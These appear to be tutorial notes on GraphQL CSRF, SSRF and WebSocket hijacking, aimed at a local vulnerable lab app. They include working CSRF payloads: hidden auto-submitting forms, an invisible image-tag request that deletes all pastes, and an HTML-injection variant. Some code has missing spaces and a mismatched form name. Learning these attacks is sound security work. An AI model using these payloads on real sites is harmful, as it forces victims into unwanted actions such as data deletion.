CSRF attacks target clients by forcing them to perform unwanted actions.
These actions are usually state-changing, such as updating a user's email or password, transferring money, or disabling security settings.
CSRF takes advantage of the fact that browsers send necessary information, like session cookies, in every HTTP request to a site, and web servers cannot differentiate between legitimate and malicious requests.
HTML forms can use only GET and POST methods.
An attacker can use a crafted HTML form to make a request to a vulnerable application by tricking a user.
CSRF attacks are limited to the actions a victim is allowed to perform.
GraphQL servers sometimes support operations over GET, and they might intentionally reject GET-based mutations to allow read operations using GET only. If a target uses any GET-based queries to perform state changes, that is a vulnerability.
To prevent CSRF, applications should implement anti-CSRF tokens, which are unique, unpredictable values included in requests that the server verifies.
Locating State-Changing Actions
Mutation field names can be extracted using an introspection query.
State-changing actions such as createUser, importPaste, editPaste, uploadPaste, deletePaste, and createPaste can be identified through introspection.
Queries can also perform state-changing actions, for example, a deleteAllPastes query.
The introspection query shown in should return the mutation fields that exist in a schema
# Introspection query to extract mutation field namesquery { __schema { mutationType { fields { name } } }}--------------------------------# Introspection query to extract query field namesquery { __schema { queryType { fields { name } } }}
Testing for POST-Based Vulnerabilities
A crafted HTML form can be used to perform a POST-based CSRF attack.
A hidden input tag ensures the form remains invisible to the victim.
<html><h1>Click the button below to see the proof of concept!</h1> <body> <formid="auto_submit_form"method="POST"action="http://localhost:5013/graphql"> <inputtype="hidden"name="query"value="mutation { createPaste(title:"CSRF",content:"content",public:true, burn: false) { paste { id content title burn }}}"/> <inputtype="submit"value="Submit"> </form> </body><html>------------------------------------// Automatic form submission with JavaScriptasync function csrf() { for (let i = 0; i < 2; i++) { await sleep(i * 1000); } document.forms['auto_submit_for'].submit();}
Testing for GET-Based Vulnerabilities
GET-based CSRF attacks involve sending a malicious link to a victim.
GET requests with state-changing queries can be exploited via HTML injection.
curl-XGET"http://localhost:5013/graphql?query=mutation%20%7B%20__typename%20%7D"{"errors":[{"message":"CanonlyperformamutationoperationfromaPOSTrequest."}]}<a href="http://localhost:5013/graphql?query=mutation{someSensitiveAction}"/><img src="http://localhost:5013/graphql?query=mutation{someSensitiveAction}"/> -----------------------// To perform such a CSRF attack, this HTML file uses <form> tags to// submit the query. JavaScript code defined using the <script> HTML tags// makes the request automatically, as soon as the victim loads the page:<html> <body> <h1>This form is going to submit itself in 2 seconds...</h1> <form id="auto_submit_form" method="GET" action="http://localhost:5013/graphql"> <input type="hidden" name="query" value="query{deleteAllPastes}"/> <input type="submit" value="Submit"> </form> </body> <script> function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } async function csrf() { for (let i = 0; i < 2; i++) { await sleep(i * 1000); } document.forms['auto_submit_form'].submit(); } csrf(); </script><html>------------// GET-based CSRF using image tags<html> <body> <h1>GET-based CSRF using an image tag</h1> <img src="http://localhost:5013/graphql?query={deleteAllPastes}" style="display:none;" /> </body></html>-------------------------// Using HTML Injecitonmutation { createPaste(content:"<img src=\"http://localhost:5013/graphql?query={deleteAllPastes}\" </img>", title:"CSRFusingimagetags", public: true,burn: false) { paste { id content } }}
SSRF attacks target servers, aiming to obtain sensitive data, probe for internal services, make internal requests to restricted networks, or access cloud environment information.
SSRF allows attackers to forge requests on behalf of servers.
An SSRF vulnerability can give an attacker access to services they otherwise wouldn't be able to reach directly.
This includes cross-site port attacks (XSPA), where a server makes a request to an internal port that isn't directly accessible.
Preventing SSRF involves sanitizing and validating user input in request fields and limiting the scope of request operations.
Cross-Site WebSocket Hijacking (CSWSH)
CSWSH involves stealing another user's session via WebSocket connections.
WebSocket handshakes can be hijacked if they lack anti-CSRF tokens, enabling attackers to forge messages using the victim's authenticated session.
Attackers can exfiltrate GraphQL subscription responses via CSWSH.
A WebSocket connection handshake is initiated over HTTP and may include cookies for authentication.
Introspection can be used to identify subscription field names.
To simulate a CSWSH attack, an attacker can set up a Netcat listener to receive exfiltrated data after a victim is tricked into loading malicious code.
As mentioned in this talk, check if it might be possible to connect to graphQL via WebSockets as that might allow you to bypass a potential WAF and make the websocket communication leak the schema of the graphQL: